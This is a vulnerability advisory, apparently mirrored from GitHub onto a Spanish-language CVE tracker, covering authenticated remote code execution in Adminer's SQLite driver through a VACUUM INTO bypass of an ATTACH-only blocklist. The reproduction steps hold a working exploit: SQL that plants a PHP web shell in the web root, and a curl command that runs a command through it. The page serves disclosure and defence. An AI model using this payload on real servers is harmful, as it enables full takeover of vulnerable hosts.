GHSA-GMX3-G29W-77WF
RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-GMX3-G29W-77WF divulgada · CVSS 7.2 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Prerequisites
- SQLite driver enabled in Adminer
Root Cause
`sql.inc.php`, line 121:
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
Steps To Reproduce
1. Login to SQLite
- Open Adminer and select driver: SQLite 3
- Login and create a new database (e.g., `stage.db`)
2. Inject PHP code and write the shell
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.
3. Execute commands
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex https://github.com/voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wfLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
